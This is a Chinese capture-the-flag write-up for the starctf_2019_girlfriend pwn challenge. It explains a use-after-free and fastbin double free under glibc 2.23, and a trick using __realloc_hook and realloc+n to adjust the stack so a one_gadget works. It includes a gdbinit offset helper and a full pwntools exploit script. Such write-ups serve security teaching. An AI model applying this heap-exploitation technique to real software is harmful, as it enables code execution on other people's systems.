starctf_2019_girlfriend
这道题怎么说呢,我好菜,竟然做了快一下午><,本来是不想发这个博客的,因为以前做了一个这样的题,(由于那个题是zikh师傅出的题,还没有发布,就不再写了)
这道题主要是记一下realloc函数调节栈帧的用法
保护测略
版本是2.23的
程序分析
就是简单的菜单题,漏洞点是uaf,没有给eidt函数。
漏洞利用
就是一般的流程,double free 泄露地址,将malloc_hook申请出来,填写onegadget,ok做好,我也是这样想的。然后你会发现所有的onegadget都不可以用,没事,我们还可以用realloc函数调一下,但是我忘了怎么用的<-_->,又学习了一下,而且在这次做题中发现了自己的一些不足,在记录一下
realloc函数的利用
在realloc函数里面有很多push和sub指令都会抬高栈帧,在这个过程中,会有满足onegadget的机会
realloc函数里也又一个realloc_hook。作用跟malloc_hook一样,且realloc_hook的位置就在malloc_hook上面,也就是说我们可以在relloc_hook上写onegadget,在malloc_hook上写realloc+n的地址,从而达到修改栈帧的效果
zikh师傅还写了一个工具去具体计算n的数值,仅适用2.23
把这个函数添加在gdbinit中
define realloc_offset
set $condition=$arg0
set $max=$rsp+$condition-0x40
set $min=$rsp+$condition-0x70
set $ptr=$min
set $cnt=0
#printf "%p\n",$ptr
while ($ptr<$max)
if (*(long long int *)$ptr==0)
if ($cnt<4)
printf "The value of %p is NULL\n",$ptr
printf "You can use the offset of %d\n\n\n",($cnt*2)
end
if ($cnt==4)
printf "The value of %p is NULL\n",$ptr
printf "You can use the offset of %d\n\n\n",($cnt*2+3)
end
if ($cnt==5)
printf "The value of %p is NULL\n",$ptr
printf "You can use the offset of %d\n\n\n",(12)
end
if ($cnt==6)
printf "The value of %p is NULL\n",$ptr
printf "You can use the offset of %d\n\n\n",(16)
end
end
set $cnt=$cnt+1
set $ptr=$ptr+8
end
if ($rsp+0x28==0)
printf "The value of %p is NULL\n",($rsp+0x28)
printf "You can use the offset of %d\n\n\n",(20)
end
end
调试过程
因为又uaf,首先申请一个大于0x80的放进unsortbin中,在show一下泄露libc地址。进行下面操作时别忘了把那个unsortbin中的chunk申请出,因为我申请的大小为0x98,下面我们要打一个double free,申请的大小为0x68。也就是0x70。你不把上面的0x98的(实际大小0xa1)申请出,当你申请一个0x70的会直接给一个0x80的,(我说怎么莫名出错)
exp
from tools import*
p,e,libc=load('a','node4.buuoj.cn:29407','libc-2.23.so')
context.log_level='debug'
context.arch='amd64'
def new(size,name,context):
p.sendlineafter('Input your choice:','1')
p.sendlineafter("Please input the size of girl's name\n",str(size))
p.sendafter('please inpute her name:\n',name)
p.sendafter('please input her call:',context)
def show(index):
p.sendlineafter('Input your choice:','2')
p.sendlineafter('Please input the index:\n',str(index))
def delete(index):
p.sendlineafter('Input your choice:','4')
p.sendlineafter('Please input the index:',str(index))
#The third parameter change pri_size
new(0x98,b'a'*0x98,b'c'*0xb+b'a')
new(0x20,b'/bin/sh\x00',b'1'*0xc)
debug(p,'pie',0xC0A,0xD7E,0xE7D,0xB83)
delete(0)
show(0)
leak_libc_addr=recv_libc()
libc_base=leak_libc_addr-0x3c4b78
log_addr('libc_base')
new(0x70,b'a'*0x68,b'1'*0xc)#2
new(0x68,b'a'*0x68,b'1'*0xc)#3
new(0x68,b'c'*0x68,b'1'*0xc)#4
delete(3)
delete(4)
delete(3)
malloc_hook=libc_base+libc.symbols['__malloc_hook']-0x23
log_addr('malloc_hook')
system=libc_base+libc.symbols['system']
realloc_hook=libc_base+libc.symbols['__realloc_hook']
realloc=libc_base+libc.symbols['realloc']
payload=p64(malloc_hook)
one_gadget=libc_base+search_og(2)
new(0x68,payload,b'1'*0xc)#3
new(0x68,b'c'*0x68,b'1'*0xc)#4
new(0x68,b'c'*0x68,b'1'*0xc)#3
new(0x68,b'a'*(0x10-0x5)+p64(one_gadget)+p64(realloc+12),b'1'*0xc)#leak
#new(0x68,b'a'*(0x20-0x5-0x8)+p64(one_gadget),b'1'*0xc)
log_addr('realloc')
log_addr('one_gadget')
#new(0x68,b'c'*0x68,b'1'*0xc)
p.sendlineafter('Input your choice:','1')
p.interactive()
参考
使用realloc函数来调整栈帧让one_gadget生效 | ZIKH26's Blog
标签:调栈,libc,realloc,hook,2019,0x68,0xc,new From: https://www.cnblogs.com/trunk/p/16882138.html